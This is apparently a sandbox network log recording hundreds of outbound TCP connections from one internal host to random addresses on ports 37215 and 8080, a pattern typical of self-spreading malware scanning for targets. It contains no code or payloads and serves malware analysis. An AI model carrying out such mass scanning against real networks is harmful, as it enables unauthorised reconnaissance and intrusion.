Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.72.212.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.67.34.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.103.124.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.20.141.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.27.2.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.20.183.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.58.85.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.125.60.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.78.100.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.193.82.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.61.144.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.75.251.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.36.244.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.238.217.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.153.19.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.62.242.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.162.232.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.22.18.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.119.27.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.174.79.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.84.98.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.15.109.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.104.205.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.125.166.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.232.133.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.175.180.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.141.38.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.222.40.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.44.169.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.94.208.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.48.29.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.72.103.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.63.101.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.161.223.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.174.58.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.254.241.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.40.215.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.82.38.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.224.114.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.250.165.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.154.91.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.134.32.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.84.161.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.186.206.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.197.68.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.183.11.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.206.189.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.253.150.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.143.247.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.21.53.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.93.148.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.189.215.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.245.250.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.2.190.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.5.132.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.140.16.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.33.166.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.123.48.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.71.165.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.67.160.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.185.158.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.145.122.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.163.239.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.171.251.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.61.227.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.147.130.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.88.150.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.64.43.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.154.48.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.172.55.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.114.13.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.125.41.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.149.94.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.90.162.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.105.13.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.23.56.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.66.98.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.26.246.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.100.167.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.247.6.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.234.179.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.3.51.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.131.116.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.70.245.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.148.49.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.128.243.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.1.115.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.34.245.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.237.156.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.22.128.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.69.142.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.96.10.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.175.186.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.190.182.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.186.244.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.139.97.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.74.194.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.79.36.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.157.230.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.169.143.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.101.145.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.213.247.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.20.157.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.170.191.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.245.57.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.226.32.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.163.85.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.244.69.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.24.63.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.203.107.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.235.199.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.117.170.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.78.20.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.130.144.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.200.27.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.78.196.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.121.205.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.176.140.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.44.48.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.179.219.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.237.179.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.150.216.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.243.51.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.111.74.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.123.0.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.203.175.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.251.185.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.180.225.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.15.25.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.149.3.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.79.154.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.126.50.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.128.24.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.50.200.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.101.26.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.88.156.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.188.51.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.56.207.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.118.218.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.55.81.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.231.175.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.189.116.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.137.219.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.203.244.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.211.18.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.157.32.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:56342 -> 197.251.26.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.191.176.62:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.118.222.62:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.10.85.213:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.181.3.61:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.53.7.16:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.141.92.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.120.245.195:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.30.144.108:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.59.61.243:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.208.117.99:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.166.57.45:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.128.214.100:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.45.42.252:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.44.24.156:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.98.151.140:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.166.107.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.111.213.11:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.192.71.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.3.38.167:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.182.23.116:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.85.170.146:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.67.86.123:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.70.234.67:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.151.66.251:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.175.43.53:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.175.133.203:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.234.133.130:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.235.92.207:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.218.95.95:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.148.242.181:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.218.129.115:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.112.28.120:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.122.120.26:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.114.86.7:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.207.98.139:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.31.62.42:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.158.111.132:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.65.26.120:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.115.219.18:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.240.226.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.29.84.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.53.160.185:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.99.241.42:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.145.134.248:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.97.53.55:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.219.85.30:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.169.61.243:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.242.201.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.209.68.139:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.31.227.45:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.32.253.212:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.137.153.187:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.130.72.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.84.202.153:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.188.212.134:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.207.25.144:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.89.85.192:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.163.191.185:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.50.71.89:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.164.120.205:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.199.74.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.105.72.147:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.96.117.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.34.107.128:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.240.5.252:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.233.185.246:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.10.106.123:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.79.89.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.35.219.255:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.34.174.27:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.234.137.150:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.165.162.100:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.199.50.109:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.74.244.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.37.136.180:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.96.95.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.63.182.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.195.28.230:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.206.91.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.4.231.20:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.42.215.195:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.60.31.225:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.113.81.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.91.157.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.17.5.223:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.159.131.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.203.208.209:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.52.236.172:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.175.146.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.175.211.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.94.91.63:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.237.51.163:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.254.28.194:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.245.96.8:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.39.40.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.96.182.10:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.5.173.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.52.199.124:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.159.69.169:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.223.59.65:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.8.206.14:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.6.182.121:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.20.157.53:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.254.60.161:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.175.148.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.156.227.237:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.219.182.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.115.130.206:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.103.250.235:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.87.94.132:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.88.59.55:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.9.66.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.244.173.240:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.45.197.43:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.67.229.11:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.8.119.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.251.246.126:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.23.150.26:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.49.37.30:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.16.85.198:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.116.142.176:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.183.33.2:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.142.92.166:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.238.172.150:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.154.59.130:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.151.213.145:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.232.144.149:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.156.18.1:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.162.3.74:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.9.85.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.52.183.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.55.22.93:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.128.58.4:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.199.236.18:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.156.33.75:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.70.112.172:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.52.126.17:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.5.229.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.101.4.44:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.192.160.112:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.20.20.120:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.163.15.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.138.93.163:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.188.34.73:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.70.13.28:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.34.10.181:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.179.137.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.191.3.69:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.112.7.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.225.139.35:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.37.155.27:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.84.100.73:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.73.243.124:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.152.192.32:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.230.237.7:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.243.241.27:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.223.86.10:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.139.201.28:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.114.0.196:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.125.68.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.194.154.136:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.183.145.189:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.209.2.189:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.16.81.119:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.94.76.129:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.28.58.41:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.168.21.225:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.187.86.224:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.9.247.255:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.41.205.182:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.10.9.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.197.102.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.152.59.255:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.236.197.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.8.102.60:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.181.194.21:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.45.234.54:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.91.187.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.156.37.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.174.193.234:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.116.106.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.211.120.165:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.27.211.129:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.205.114.118:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.247.41.166:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.144.219.249:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.159.82.60:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.252.79.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.231.255.247:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.214.157.210:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.224.41.81:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.250.229.213:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.20.16.31:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.58.116.111:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.128.57.168:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.21.104.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.31.252.62:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.62.114.6:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.132.112.16:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.193.166.186:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.19.120.153:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.252.43.15:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.114.135.147:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.34.96.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.157.133.206:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.178.40.40:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.99.249.90:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.29.98.158:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.136.169.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.190.184.158:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.232.55.79:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.88.147.94:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.100.196.233:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.71.227.43:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.152.142.197:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.56.208.148:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.3.140.51:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.2.68.124:8080
